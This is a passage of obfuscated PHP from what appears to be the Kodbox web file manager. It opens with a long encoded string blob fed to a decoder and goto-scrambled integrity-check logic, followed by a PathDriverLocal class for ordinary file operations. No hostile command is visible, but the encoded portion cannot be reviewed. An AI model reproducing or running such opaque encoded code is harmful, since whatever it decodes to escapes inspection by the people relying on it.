xd1\xd9\xae\x1\x3d\x5d\xc3\x75\xb6\x6b\x50\x9d\x6a\x24\xea\xdd\xd\x59\xcc\xe0".base64_decode('YDP1UimakhK9R2gSJvQDjDJLEUQgPj80ohfII8NOwW3mCRhIrOl6RGs60BFwfYI35LBXYcckoLo=')."\20\232\64\270\153\54\351\54\127\132\61\311\255\54\202\303\332\45\335\160\335\161\342\267\325\65\175\2\146\266\241\125\375\50\325\172\102\6\370\374\216\231\134\135\223\131\56\30\343\162\103\342\70\63\32\0"."\105\242\373\72\333\100\223\150\270\263\206\130\333\321\171\1\231\141\315\174\314\367\72\302\355\312\70\34\124\320\344\371\101\364\356\162\277\146\42\265\247\16\267\230\6\20\1\327\60\300\6\170\76\33\56\210"."\x41\x81\xa8\x38\xd8\x6a\x54\x95\xf9\x56\xa2\x85\xfb\xf5\x76\x89\x3d\x9a\xcd\x29\xb6\x68\xa6\x8\xc1\x2e\x93\xf5\x89\x76\xa9\xca\xe3\xdb\xd9\xaa\xfa\xde\x26\x2a\x91\x30\xb1\xbe\x48\xd5\x49\xb\xcd\x7f\x40\xd5\x3a\xe7\xcc\x6a"."\153\152\162\344\212\206\351\324\25\353\43\250\260\243\44\162\176\330\27\166\342\211\355\134\246\2\176\340\243\106\307\350\15\364\166\211\114\4\207\104\347\7\16\15\170\42\336\36\207\204\210\325\41\55\362\107".strrev(':=PID) ; Y0Қ?`~Ms לx'."\0".'')."\xcd\xb5\xf\xa9\xf9\xd6\x16\xa8\x28\x8d\x2d\x79\xe0\x3e\x9d\x10\x3\xe0\x8e\x45\x3d\xdf\x8e\x5d\x4\x19\xce\x9c\x9a\x0\xab\x3a\x58\x51\x9d\x80\x24\xda\xa1\xe\x9e\xb5\xc\x7a\x91\xf9\x7f\x2f\x1\xd6\x82\x6a\x6b\xff\xdf\x4b"."\x81\x2a\x13\x1e\x13\x2c\x32\xf1\xa2\xa9\x18\xff\x53\x19\x94\xc1\xb1\xae\xc2\x6a\x45\xf3\xc9\xaa\xd0\x2c\xb5\x34\x35\x49\xc1\x25\x10\x8d\xa4\xec\x2d\xe4\xa2\x9d\x4c\x78\x1\x1e\x1f\xb2\x4a\x63\xf5\x8c\xa4\x5c\xa2\xcf\xac\x66"."\xe0\x24\x53\xf3\x5\xea\x8d\x11\x31\x2a\x30\xf0\x21\xe1\xf9\x79\xcd\xba\x1c\x44\x2c\xdc\x9a\x34\x2c\x49\x39\x35\x19\x6d\xa8\x68\x9e\x84\x9b\xc\x90\x77\x82\xb5\x3\xae\xed\x25\x5\xa6\xd1\xce\xc2\x98\x98\x95\x25\xdb\xd1\x57"."\60\27\143\140\13\42\50\20\143\202\111\236\55\32\240\60\216\215\323\30\172\22\256\103\363\325\74\174\225\325\104\274\15\103\30\202\126\316\53\164\322\303\374\320\324\315\215\200\156\316\230\141\76\214\310\362"."\x11\xef\x95\xf3\x3\xb8\x68\x5\xa2\x50\x98\xb5\x55\xd0\xb0\x69\x3e\x9d\x15\x5a\x41\x1e\x2b\x2a\xc\xde\x6e\x9b\x25\xac\xcd\x28\x13\x23\x3\x5b\x8f\x51\x2c\x4b\xd7\x32\x72\xc1\x45\xc2\x87\xd1\x9c\x11\xf4\xd\xce\x80\xf2\x78"._kodDe('MVVyjYROwM0UkhSD9y5JXfiULXbRG0DMz5+nGk+nSQ+dsE/Sruw77mU+wW82B4LFWRkUouNC2xnF')."\2\137\333\65\324\73\151\200\371\6\42\267\74\304\14\277\204\226\51\302\244\241\64\112\302\45\60\37\240\333\322\144\263\35\320\102\261\265\124\12\36\107\220\30\301\102\373\111\232\5\157\26\151\254\220\225".base64_decode('84pBYyCrKNguEzMus2ZkqDRZOFsXqx7D9oIEMh4rKFl8WIIsuSh8Ygp4IqtDJ2RJMa7m4BWjzCo=').base64_decode('qQORHXCjUYqT1hUlb4HEs0XFApCzhYyMIBhAnlrwxt3etNuru71kq70z/tmFJJNVi7hXog80oAY=')."\xe2\x9d\x34\x74\xfc\x92\x56\x53\x55\xe1\xf0\x6a\xae\x6a\x42\x81\x4a\x75\x65\xae\xb1\x93\x11\x74\x69\x4\x74\x78\x59\x8d\xee\x24\x84\x94\x90\x66\xb2\xb5\x95\x9b\xd7\xa0\xa4\x54\x96\xaa\x79\x5\xfa\x16\xc5\xba\x7b\x3\x3\x31"."\x24\xe2\x7\xfb\x23\x9e\x5e\x5b\x2\xe0\x99\x91\x80\xb7\x2\xdc\x15\xa4\xae\x5f\x6d\xb5\x8e\xe7\xac\x6a\x68\x6a\x1e\x2d\xf3\x3\xdc\x85\xd\x88\xca\x6\x73\x7d\x4a\x3c\xa\x92\x3c\x50\xa7\x1f\x7\xe7\x75\xc4\x75\x37\xb5\x14".base64_decode('jAsbHiMnZ5lCk5vqmbuNIhERiJeT3gCZO26yv+tV42SYB7y9K0EToDOKYMgTWsGd3IKUiCc0RQo=')."\314\103\174\311\121\367\146\363\26\56\134\110\237\333\114\144\261\151\41\324\355\147\367\345\0\12\117\237\224\112\250\134\211\11\325\362\220\115\217\345\276\75\44\353\36\334\202\52\211\53\325\302\24\211\152\201"."\276\241\121\240\352\345\205\42\275\314\146\307\151\202\353\231\331\344\167\234\374\306\47\11\131\313\72\321\35\110\310\44\277\152\220\363\261\364\44\124\175\243\141\260\322\144\371\71\46\122\6\36\221\274\162\276".base64_decode('1pSCAG2e1AeNivJpaRK0HPtRNrjDDCOjZLMxqPJGqpvIaJJ9A0mjU3+DF0PARaqvAZknqCCZVPQ=')."\x25\x4\xfc\x3\x6f\xfb\xb9\x7b\x8\x62\xf6\xe6\x72\x11\x25\x1e\xe8\x55\x0\x30\x13\x2b\x12\x72\x60\x49\xdd\x5\xa0\x63\x83\x18\xe0\x73\x82\x9f\x43\x28\x29\x49\x70\x69\x41\xe6\xb\x16\x97\x2c\x4b\xb4\x24\x19\xb6\x76\xec\x87"."\x25\xa9\x8c\xcf\x93\x90\x93\x21\xe2\xd\xbb\xba\x5f\x1f\xf4\x19\x9\x7c\x6\x9a\x6d\x49\xd8\x40\xd5\xa2\x20\x88\x11\x2a\x20\xed\x16\x3d\x43\x9c\x50\x59\xe1\x19\x4d\xcd\x4d\x82\x29\x46\xc0\xeb\xf\xc7\x16\x87\xa1\xcb\xcc\xde".base64_decode('AHXxYk0IgLRIaIoUT2iqlGDX4ilSvHT/YE3pDQbDojchW/UGBwQ/gWR/DNdu+ipH/2Av4V9RQsE=')."\121\302\213\275\104\275\51\132\234\321\324\106\255\164\370\363\221\260\157\142\302\43\317\370\310\14\207\65\264\103\303\141\51\41\143\153\226\270\202\245\2\45\11\175\204\302\332\111\6\220\225\51\47\237\6\35".base64_decode('ALvdda7G+unTciIs2gCB0Qb3tEFSjWkcBhCmM7h7VV3Nutp6V0NdtLmeqW9FqTlYNFokyk8ja9s=')."\xd6\x73\x77\x84\xd1\x61\x57\x43\x74\x64\xba\xa0\x4d\xb6\x16\x0\xd6\x33\x40\x39\x43\xcf\xc3\x90\xe7\x6\x86\x65\x34\xd4\xd\xd7\xd4\x8e\xb8\x1a\x86\x57\x45\xa3\x23\x30\x58\xf\x60\xed\x10\x1e\xd\xbb\x1a\xea\x1d\xb\xa6\xbb".base64_decode('B1VDxMdOlafEIV1ODcIK7HAfiiwq2CUhEwhRn3bAD5iy4LLNzBUEsoVexWa1iRrlGEKXlCJd+1A=')."\x90\x5a\x5d\x15\xb8\x66\xbd\x55\x99\x96\x45\x2d\xb3\xa5\x49\xea\x2\xa2\x9a\xc5\x1a\xd8\xe2\x57\x4e\xa8\x9d\xde\x28\x14\x14\x13\xbd\x29\x22\x88\xf8\xce\x6\x8c\xb\xaf\x95\xa\x75\x5\xf2\x9a\xe0\x0\x5\x16\x44\x1d\x4\x11"."\x41\x40\x36\x32\x53\x78\xcc\xc1\xe\x29\x40\x3\x84\x3a\x21\xd6\xe2\x82\x1b\x7e\x61\xa1\xed\xb1\x79\x7e\x22\xdb\xa8\xca\x3e\xc4\x61\x40\xc8\x64\x6a\x21\x3c\xf0\x29\xb4\xaf\xa1\x7e\x3a\xb8\xa2\x78\x39\x4e\x7a\x0\xf6\x71\xcc"."\xf6\x41\x66\x54\x9c\x15\xb6\xa3\x5c\x7\x6\x49\x13\x5c\xb\x8b\x46\xa9\x88\x94\x90\xb\xf0\xbe\x26\x89\x4f\xc6\x41\xc7\x93\x6f\xb3\xd0\xe0\x0\xf4\xb7\x6\x39\x41\x8c\x9e\xa1\xa\xa0\x40\x7f\x20\x16\xe\xac\xf4\x57\x24\x40".base64_decode('98DVU8B6HwlQ8UeA9weRizMLfLB/SX9wqBpqpG+AyxJCktfTH4kJe1K8WQFbLrZboVrsCT3R2hI=')."\x67\xd3\x8c\xb9\xfe\xa2\xb2\x3c\x99\x29\x74\xcd\xe7\x2e\x2\xc6\x9d\x4c\xa9\x9f\xee\x77\x7c\xdc\xb3\x7\xc9\x86\xe\x5e\x49\x15\x90\x9f\x13\x92\x41\x3c\xc5\x11\x93\x1d\x52\xd5\x33\x1c\xb6\xa1\xd2\xe5\xbc\x91\x52\x74\xdb\xf1"."\144\134\315\313\324\301\151\216\176\73\307\314\330\240\143\44\352\40\6\231\234\121\311\100\274\273\56\260\13\100\142\347\245\203\124\75\11\215\222\204\63\273\274\31\122\322\142\264\127\143\72\173\150\65\257\122"."\4\174\313\106\260\55\201\233\24\117\302\54\212\157\346\10\317\223\203\230\360\124\274\140\137\347\154\226\130\213\142\270\144\34\151\24\22\260\246\170\25\33\75\233\255\77\62\172\305\223\27\372\333\315\207\213"."\161\346\307\305\146\124\107\275\210\112\242\71\33\365\23\12\13\100\317\274\300\26\30\142\32\50\26\276\116\314\133\46\146\101\337\254\310\202\323\240\325\31\147\145\142\212\1\25\262\6\251\330\125\55\245\312"."\247\120\222\320\243\11\272\217\43\113\21\351\304\25\274\257\114\332\337\55\316\126\342\344\103\23\275\277\141\233\65\322\271\316\26\111\40\57\310\173\4\212\300\247\21\254\33\271\25\146\226\343\150\320\107\201".base64_decode('YJrErfzwAzVsaNFLNiymCxZgSpIOHXoJpupagoHoqZiqNlK4s2Cyz+JN0oYAprw1nTwyL1TGmkE=')."\307\336\365\174\12\167\240\201\262\360\72\163\47\234\0\244\341\147\353\205\116\340\76\332\360\63\67\324\167\250\47\231\264\203\43\32\3\126\372\171\163\61\257\247\304\353\72\330\200\206\3\301\376\272\172\50".base64_decode('UVns+PsmmF9sMGpoze6Tx/mgsAhNZTRpWCLYa6ElNwMxrDJ9VpHtsAZ6BtwM1EW7iT2DQqyZoRM=').base64_decode('erHQIJFPy9gEivDNdubIkW5/yjk1IfUGF8G9ty8QXiKlFVPiQg+6pLDOcuSEAR3qUSKPUxUWFHQ=')."\xa2\x3\x10\xa7\xc5\x3d\xe\xdb\x91\x88\x1e\x1e\x61\x41\x15\x5\xe3\x51\x17\x8b\x83\xa7\x27\xce\x24\xb3\x6e\xb5\xe1\x52\x21\xa1\x22\x87\xf8\x7d\x21\xf\xdc\xd1\x58\xf9\x2\x2\x93\xbd\x8e\xb5\x9c\x9\x5\xde\x3\x54\xff\x76".strrev('XN%|D`\\c2)N+uYg@ "}MWi>T5I|~ wʱ')."\xd\xa0\xc3\x1\xb0\xd4\x72\x5d\xb7\x2\x75\x97\x42\xae\xd7\x29\x6d\x90\xa8\x70\x53\x6d\x79\x4e\x8e\x24\x83\x9d\xa0\xac\x52\x52\xc7\x61\x21\x47\x28\xb0\xa8\x27\x32\x55\x71\x15\xd8\x6a\x92\xbf\x15\x67\xab\x8c\x9a\xa4\xd2\x22".strrev(',17Jyd5Rɉ.>Py'."\n".')__+9p&* ԱTDd'."\r".'s').strrev('MH.%r2,fڎ,FaMCIuRq\'9x Y6Smp')."\x3c\x43\x90\x3a\xa5\x26\xe4\x5a\x1\xeb\xd3\xa0\xfb\x9d\xe\xea\x58\x1e\x36\x1e\xdb\x29\xa3\x67\xbf\xfc\xb9\x82\x69\xb1\x61\xee\x51\xd\xfe\x40\x4\x12\x13\xf8\x76\x8\xca\x5e\x5a\x6e\xa2\x2\x60\x31\x92\xef\xa5\xd5\x60\x1e"."\x42\xa1\x19\x49\x3e\xa5\x89\x2d\x43\x2c\xcb\xf\x58\x83\x3\x85\xb0\x6d\xb4\x3\x9e\x54\x9b\x3\x88\x8\x7a\x95\x92\x62\xcd\x3e\x65\x59\x86\x9d\xd7\x33\x3e\x6d\x61\x8c\x28\x22\xd0\x11\x32\x4a\x15\x1c\xac\xd3\x5f\xe8\x8a\x86"."\311\227\260\52\202\40\102\254\226\242\344\227\362\100\173\321\140\154\274\104\53\204\22\40\214\126\44\366\51\134\15\215\324\325\301\331\72\276\215\6\40\300\6\220\45\216\100\321\64\115\30\176\254\216\36\302"."\76\6\135\330\143\5\225\73\322\52\163\72\152\101\43\344\16\266\10\374\260\320\346\133\205\254\157\330\317\112\61\37\300\156\346\55\120\135\20\257\105\137\265\330\273\14\167\7\116\320\301\327\6\260\73\31"."\62\41\305\42\251\327\36\364\3\5\160\100\257\314\266\331\135\351\345\7\372\100\144\342\3\367\57\72\252\41\51\326\45\312\277\4\101\352\220\350\174\61\114\13\35\101\221\3\110\43\16\24\100\304\51\12"."\x49\xd5\xa1\x16\xe2\x44\x28\x6c\xc0\xd0\x6b\x84\x6c\xec\x60\x8f\x92\x1f\x9f\x92\x62\xe2\x23\x8c\xf3\x7d\x86\xf8\x90\x6\x6d\x2\x26\x8c\x8a\x6f\xa0\x5f\xb8\x89\x76\xe0\x36\x3a\x18\xb9\xa8\x46\x2f\x52\x2f\x34\xc2\x58\xc0\x72"."\x70\x8f\xee\xe\x7c\x36\x8f\x8c\x58\x38\x73\xe0\xdd\x41\xc9\x3e\xad\xf0\xf\xc2\x1a\x46\xc4\x8f\x5b\x24\x39\xbb\x10\xc7\x7a\xc9\x96\x21\x64\xef\xc9\x88\x56\xe9\x10\x81\xbb\x35\xca\x17\x73\xdc\x7f\x14\x88\x58\x5\x58\x2c\xda".base64_decode('U1cS39Lcop51INVYB31ezoFfLHVYikAViplCg5k0ZRuuio99h9KJN1ok0ALRAHuYwEnt6GKjOpo=')."\152\241\113\260\173\344\107\306\370\275\313\202\235\121\256\310\45\133\132\147\316\25\367\213\174\30\271\343\32\372\66\65\376\241\107\143\214\60\44\53\235\111\364\221\115\161\146\243\104\253\123\135\362\362\251\300"."\5\155\374\353\73\115\7\117\65\161\23\147\22\116\260\130\311\102\27\124\373\312\377\275\36\126\157\146\144\37\350\143\62\246\40\30\212\42\54\257\75\176\20\362\273\177\237\12\154\262\325\207\25\112\265\116"."\175\341\330\101\61\203\320\320\235\214\211\40\355\363\47\231\204\365\15\226\345\21\105\330\112\21\234\316\34\256\343\204\174\310\163\67\31\210\110\54\4\43\274\236\52\272\144\107\5\105\120\43\247\52\32\355"."\x1\x49\x7d\x9\xc5\xa0\xcb\x72\xe4\x0\xce\xb3\x88\x79\xd9\x87\x17\x89\xbc\xa\x30\xc6\xd9\x84\xa9\xf1\x14\x53\xf0\xff\xe\x19\x4b\x90\x9e\x9a\x81\x4d\xa4\x45\xa4\x4\x71\x6e\x75\x24\xd0\x7d\xd2\x6\x14\x65\x0\x61\x1e\x1"."\xfa\x56\x5\xb1\x90\xc8\x4b\x5c\x0\x41\xd\x15\x1c\xf9\x90\x6d\x2a\xef\x29\xf\x99\x30\x49\x87\xf8\x66\x2c\x88\x32\x42\x21\x1c\x9d\xcc\x3c\xe4\x44\x17\x7f\x56\xe0\xdf\x9c\x55\xf3\x50\x3f\x55\xcc\x87\x11\xe1\x40\x6\x89\x71"."\54\61\43\112\170\360\101\41\253\120\303\152\201\270\114\65\232\305\225\200\204\110\26\21\24\244\234\15\152\356\42\203\131\230\207\364\236\165\246\242\6\175\313\112\4\213\143\116\234\111\104\164\77\57\254\164".strrev('l(e_9fAk톎יEqAӸZHXHİ%LK3"')."\xd4\xa4\x2e\xbc\xaa\x45\xc4\x56\x56\x11\xc7\xa9\x48\xc0\x1b\x90\x57\x13\xa3\x55\x5c\xf6\xc0\xfe\x87\x3a\x32\x2\xcf\x14\x56\x9a\xa\x34\xce\x53\xc0\x82\xc4\x74\xdb\x68\x8\xc9\xae\x50\x46\x21\x4f\x65\x5b\x9e\x60\x8\xb2\x3b"."\337\172\342\356\155\144\41\145\10\160\26\322\303\44\221\27\130\100\25\34\44\142\141\336\26\140\25\42\200\76\326\51\75\130\162\100\347\100\135\202\20\134\351\241\251\62\65\124\311\303\330\64\24\361\70\237"."\xc7\x71\xf8\xea\xae\x75\x43\x29\x7e\xd\x5f\xcd\xc2\x4d\x53\x8\xee\x6f\x5c\xb6\xe2\xd9\xbc\xa9\x3a\x57\x54\x3\x1f\xc3\x89\xb2\x3f\x8\x89\x75\xa7\x93\x6d\x40\xd7\xd0\xa\x6c\x85\xb2\x5d\x98\x60\x22\x24\xa8\xef\x84\xed\xec".base64_decode('ytQsvQAEZuGIHL+oiB/Nhs/BAaYlhQf76pDPawhArnLQq1yriUCwWtpbEv7Db7PVwWRYyGop0M8=').base64_decode('X8etl/ibYuLL3PAMqVtjQ2917w/96VrpfH41tISmGwKa8DTRUuh8HAf71Dx9VYKQL81Oul584t4=')."\132\76\30\351\260\151\31\23\376\62\271\375\105\162\264\305\302\273\46\313\346\211\250\311\210\40\341\230\7\352\202\133\175\245\242\104\4\246\317\56\222\22\204\263\152\353\255\1\173\222\272\202\67\25\325\136".base64_decode('IRnloq99gV/ozT/AnSWgZHy65inJTIXEnmvQIoEKdwwJRIF8m4AyxkEt0T+egmrPYWZUPdml5pM=')."\166\374\142\76\316\240\34\35\14\106\127\65\60\220\221\70\173\266\301\205\225\204\63\110\271\304\317\240\271\114\230\114\166\313\245\52\250\314\264\231\101\1\204\241\42\201\107\170\240\204\73\331\125\312\342\327"."\11\136\252\162\35\201\210\225\120\376\200\211\275\135\150\336\60\70\71\366\317\13\136\317\10\271\161\20\176\262\236\271\265\303\105\351\32\312\50\47\271\277\73\134\107\266\175\343\237\264\276\263\302\320\230\60"."\6\160\220\222\270\323\2\265\371\371\205\47\131\164\105\265\45\221\275\243\120\174\325\55\246\205\24\172\205\342\304\233\207\51\63\204\253\177\204\323\253\265\213\303\266\373\16\33\13\345\310\164\61\323\54\3".strrev('p^?{ey#>9ŭ+ 54/`b97U-XX0"').strrev('ѱr*>u\'l;4~Xj)<Z\\\''."\r".'5)qV')."\x3e\xb5\x7a\x2d\xaa\xee\xa9\xa7\xaa\x45\x55\xe4\x29\x6b\xc1\xb1\x6d\x57\x88\xd5\xd8\x1c\x4d\xa9\xc2\xd8\xf8\x8d\x5f\x25\xb\xe5\x69\x55\xee\x1f\x71\x99\x70\x7d\xd\x59\xd4\xf1\x2a\x92\xc5\xcb\xcc\xea\xd7\x9d\xa1\xaa\x13\xd1"."\xb0\xde\x43\xda\xe0\x62\xc7\x50\xc5\x8a\x6d\xa7\x9f\xf6\xce\x43\xe7\x5\x6\x24\x1a\x10\xc1\x16\xc6\x5b\xcc\x8f\xe6\xa9\xc7\x22\xf0\x5\xee\x9\x10\x5a\x25\x7a\x74\x7b\xff\x51\x31\xce\xe6\x14\x97\x92\x67\xbe\x28\x38\x62\xad"."\xea\x55\xd7\x1\x77\xb8\x95\x5b\xc8\x2c\xf5\x67\x25\xfa\x1c\xc6\xfb\xc\xcd\x54\x13\x82\x1a\x4\x4\x8a\x6e\x73\x71\x3a\xfd\x48\x96\x9f\x44\x11\x19\x0\xdf\x6e\xf9\x44\xad\x5e\x54\x5b\x15\x3e\x9f\xce\x6e\x10\x2d\xd7\x65\x55"."\322\135\374\144\322\342\224\31\75\303\305\54\265\361\242\114\316\146\361\115\2\322\130\41\220\256\11\270\115\162\340\265\16\47\207\65\335\204\26\334\200\37\27\320\157\227\146\232\224\115\0\311\26\141\42\321"."\xd\x39\x88\x11\xee\x47\x41\x88\xbf\x73\xa\xfb\x16\x1d\xb\x23\x42\x45\xc\x5\x5\xc9\x9d\x6\xdc\x52\x86\x15\x9c\x8a\x98\x94\x25\x2\x8f\x9b\x59\x24\x54\x79\xae\xdc\x5d\xb4\x5d\xa2\x70\x0\xd8\xc\xc6\xb5\x71\x42\x4\xe8".strrev('ќEF9Vߓ1bh"SNQ;cqeb^'."\n".'\'q.źL.x^U')."\201\17\174\2\335\277\74\20\216\204\53\222\6\74\341\360\120\60\344\303\52\235\25\311\50\227\160\265\136\221\64\320\23\354\237\52\315\337\347\11\364\126\244\301\253\166\250\150\112\137\202\304\111\201\1\124"."\x4b\x4f\x6f\x2f\xd5\xeb\xaa\xac\x45\xc0\xbb\x84\xd7\x4\xdd\x30\xf1\xf3\xd0\x42\x46\xa3\xc7\x8b\x36\x9d\x13\x7a\x7c\x1c\x96\xe9\x34\x81\xcc\x9f\x6d\x68\x85\xb0\x92\x63\x87\x4f\x42\x71\xd6\x53\x0\x71\xc8\xd\xfa\x52\x29\xb"."\x14\x2a\x76\x10\xc2\x42\xf\xaf\xc6\xfb\x49\x61\x21\xea\x49\x11\x3e\x8b\xcd\xa6\x3f\x93\x66\x51\xe3\x44\x1d\x1b\x7e\x9f\xe6\xb2\xdc\xbb\x9\x70\x34\x71\x10\x13\x12\x8\x52\x5c\x83\x11\x80\xe8\x84\xda\xee\x3d\x6c\x9d\x29\xac"."\367\225\67\147\10\302\73\4\326\173\61\365\244\260\106\213\13\47\252\230\117\131\70\224\250\334\200\303\66\6\226\214\150\21\71\115\370\12\24\54\170\254\153\102\14\213\307\25\363\31\133\61\345\64\275\276".base64_decode('trNi4b4W9tL/B8JZcNUvwgAA')."", 10, -8))); goto E߆; fڤ: $DӸϑ = $_SERVER[ڊ][1152]; if ($_SERVER[$_SERVER[ڊ][781]] != $DӸϑ($a٩)) { goto f; EǮ: $fΘ($a٩); goto C; Dܹ: $A = explode($_SERVER[ڊ][214], $dȅ); if (count($A) < $_SERVER[ڊ][557]) { $fѴ = $_SERVER[ڊ][787]; $fѴ(); } $fΘ = $_SERVER[ڊ][1153]; goto EǮ; f: $bЃ蕨 = $_SERVER[ڊ][784]; $aᙌذ = $_SERVER[$_SERVER[ڊ][785]] . $_SERVER[ڊ][786]; $dȅ = $bЃ蕨($aᙌذ); goto Dܹ; C: } class PathDriverLocal extends PathDriverBase { public function __construct() { parent::__construct(); } public function getPath($fLJ) { if (substr($fLJ, 0, 2) == $_SERVER[ڊ][1139]) { $fLJ = BASIC_PATH . substr($fLJ, 2); } return $fLJ; } public function iconvApp($F) { $Bߒ =& $_SERVER[ڊ]; global $config; return $this->iconvTo($F, $config[$Bߒ[1137]], $config[$Bߒ[1136]]); } public function iconvSystem($d) { $a =& $_SERVER[ڊ]; global $config; return $this->iconvTo($d, $config[$a[1136]], $config[$a[1137]]); } public function getPathOuter($F) { goto F; F: $AݓЖ =& $_SERVER[ڊ]; $A = $this->iconvApp($this->pathBase); $F = $this->iconvApp($F); goto aԳ; F: $F = KodIO::clear($F); $F = substr($F, strlen($A)); if (empty($this->pathDriver)) { return $F; } goto eӅ; eӅ: return $this->pathDriver . $AݓЖ[8] . ltrim($F, $AݓЖ[8]); goto f; aԳ: if (substr($A, 0, 2) == $AݓЖ[1139]) { $A = BASIC_PATH . substr($A, 2); } if (substr($F, 0, 2) == $AݓЖ[1139]) { $F = BASIC_PATH . substr($F, 2); } $A = KodIO::clear($A); goto F; f: } public function mkfile($Eţ, $Fô = '', $Eƶƍ = REPEAT_RENAME) { $Eţ = $this->iconvSystem($Eţ); @touch($Eţ); if ($Fô) { file_put_contents($Eţ, $Fô); } return is_file($Eţ) ? $this->getPathOuter($Eţ) : !1; } public function mkdir($A, $BȂ = REPEAT_SKIP) { $A = $this->iconvSystem($A); if (is_dir($A)) { return $this->getPathOuter($A); } @mkdir($A, 511, !0); return is_dir($A) ? $this->getPathOuter($A) : !1; } public function copyFile($Dŋ, $a) { $this->mkdir($this->pathFather($a)); $Dŋ = $this->iconvSystem($Dŋ); $a = $this->iconvSystem($a); $bѤ = @copy($Dŋ, $a); return $bѤ ? $this->getPathOuter($a) : !1; } public function moveFile($fҭ, $d) { $this->mkdir($this->pathFather($d)); $fҭ = $this->iconvSystem($fҭ); $d = $this->iconvSystem($d); $C = intval(@rename($fҭ, $d)); if (!$C) { if ($C = intval(@copy($fҭ, $d))) { @unlink($fҭ); } } return $C ? $this->getPathOuter($d) : !1; } public function delFile($bϚ¤) { $bϚ¤ = $this->iconvSystem($bϚ¤); if (!@unlink($bϚ¤)) { @chmod($bϚ¤, 511); if (!@unlink($bϚ¤)) { return !1; } } else { return !0; } } public function delFolder($e) { goto a; eμ: return rmdir($e); goto D߸; a: $E =& $_SERVER[ڊ]; $e = $this->iconvSystem($e); if (!is_dir($e)) { return !0; } goto eߴ; eߴ: if (!($EὭ = opendir($e))) { return !1; } while (($Cݰ = readdir($EὭ)) !== !1) { if ($Cݰ == $E[93] || $Cݰ == $E[1149]) { continue; } $AƋڿ = $e . $E[8] . $Cݰ; if (!is_dir($AƋڿ)) { if (!unlink($AƋڿ)) { chmod($AƋڿ, 511); if (!unlink($AƋڿ)) { return !1; } } } else { chmod($AƋڿ, 511); $AƋڿ = $this->iconvApp($AƋڿ); if (!$this->delFolder($AƋڿ)) { return !1; } } } closedir($EὭ); goto eμ; D߸: } public function rename($c񣌷, $A܉Ȅ) { goto D; e: $c񣌷 = $this->iconvSystem($c񣌷); $fç = $this->pathFather($c񣌷); $a = rtrim($fç, $BƓ˚[8]) . $BƓ˚[8] . $c; goto Fח; D: $BƓ˚ =& $_SERVER[ڊ]; $c = $this->fileNameAuto($this->pathFather($c񣌷), $A܉Ȅ); $c = $this->iconvSystem($c); goto e; Fח: $C = @rename($c񣌷, $a); $a = $this->iconvApp($a); return $C ? $this->getPathOuter($a) : !1; goto C; C: } public function size($fﳄ) { $fﳄ = $this->iconvSystem($fﳄ); return (double) abs(sprintf($_SERVER[ڊ][1154], @filesize($fﳄ))); } public function info($cٚ) { $cٚ = $this->iconvSystem($cٚ); if ($this->isFolder($cٚ)) { return $this->folderInfo($cٚ); } else { if ($this->isFile($cٚ)) { return $this->fileInfo($cٚ); } } return !1; } protected function infoChildren($A, &$aȆ, $d = true) { $dƌ™ =& $_SERVER[ڊ]; $A = rtrim($A, $dƌ™[8]) . $dƌ™[8]; if ($d) { check_abort(); $A = $this->iconvSystem($A); } if (!($eΫǽ = @opendir($A))) { return; } while (($Aܗܒ = readdir($eΫǽ)) !== !1) { if ($Aܗܒ == $dƌ™[93] || $Aܗܒ == $dƌ™[1149]) { continue; } $cǦ޻ = $A . $Aܗܒ; if (is_file($cǦ޻)) { $aȆ[$dƌ™[78]]++; $aȆ[$dƌ™[77]] += (double) abs(sprintf($dƌ™[1154], @filesize($cǦ޻))); } else { $aȆ[$dƌ™[79]]++; $this->infoChildren($cǦ޻, $aȆ, !1); } } closedir($eΫǽ); } private function folderInfo($d¹, $BΤ = false) { $b =& $_SERVER[ڊ]; $d¹ = rtrim($d¹, $b[8]) . $b[8]; $d = $this->iconvApp($this->pathThis($d¹)); if ($BΤ) { return array($b[28] => $d, $b[75] => $this->getPathOuter($d¹), $b[29] => $b[76]); } $fꭹ = array($b[28] => $d, $b[75] => $this->getPathOuter($d¹), $b[29] => $b[76], $b[184] => @filectime($d¹), $b[107] => @filemtime($d¹), $b[1155] => @fileatime($d¹), $b[1146] => is_readable($d¹), $b[1147] => is_writable($d¹), $b[1156] => get_mode($d¹)); return $fꭹ; } private function fileInfo($aؑ, $d = false) { $Cі٭ =& $_SERVER[ڊ]; $c = $this->iconvApp($this->pathThis($aؑ)); if ($d) { return array($Cі٭[28] => $c, $Cі٭[75] => $this->getPathOuter($aؑ), $Cі٭[29] => $Cі٭[164], $Cі٭[77] => $this->size($aؑ), $Cі٭[157] => $this->ext($c)); } $cː = array($Cі٭[28] => $c, $Cі٭[75] => $this->getPathOuter($aؑ), $Cі٭[29] => $Cі٭[164], $Cі٭[184] => @filectime($aؑ), $Cі٭[107] => @filemtime($aؑ), $Cі٭[1155] => @fileatime($aؑ), $Cі٭[77] => $this->size($aؑ), $Cі٭[157] => $this->ext($c), $Cі٭[1146] => is_readable($aؑ), $Cі٭[1147] => is_writable($aؑ), $Cі٭[1156] => get_mode($aؑ)); return $cː; } public function exist($fڼ) { $fڼ = $this->iconvSystem($fڼ); return @file_exists($fڼ); } public function isFile($aГŋ) { $aГŋ = $this->iconvSystem($aГŋ); return @is_file($aГŋ); } public function isFolder($Aں) { $Aں = $this->iconvSystem($Aں); return @is_dir($Aں); } public function listPath($A⣝, $a = false) { goto EūƼ; b: $f = array($fאĞ[74] => array(), $fאĞ[73] => array()); if (!($Aٞ = @opendir($A⣝))) { return $f; } while (($Fȫ = readdir($Aٞ)) !== !1) { if ($Fȫ == $fאĞ[93] || $Fȫ == $fאĞ[1149]) { continue; } $Bޘ = $A⣝ . $Fȫ; if (is_file($Bޘ)) { $f[$fאĞ[73]][] = $this->fileInfo($Bޘ, $a); } else { $f[$fאĞ[74]][] = $this->folderInfo($Bޘ, $a); } } goto bƞ; EūƼ: $fאĞ =& $_SERVER[ڊ]; $A⣝ = $this->iconvSystem($A⣝); $A⣝ = rtrim($A⣝, $fאĞ[8]) . $fאĞ[8]; goto b; bƞ: closedir($Aٞ); return $f; goto C; C: } public function listAll($A㱏, &$b = array()) { goto ẽ; ẽ: $Dՠ =& $_SERVER[ڊ]; $A㱏 = $this->iconvSystem($A㱏); $A㱏 = rtrim($A㱏, $Dՠ[8]) . $Dՠ[8]; goto f߭; A֘: return $b; goto E; f߭: if (!($f = @opendir($A㱏))) { return $b; } while (($eĆ = readdir($f)) !== !1) { if ($eĆ == $Dՠ[93] || $eĆ == $Dՠ[1149]) { continue; } $Eə = $A㱏 . $eĆ; if (is_dir($Eə)) { $b[] = array($Dՠ[75] => $Eə . $Dՠ[8], 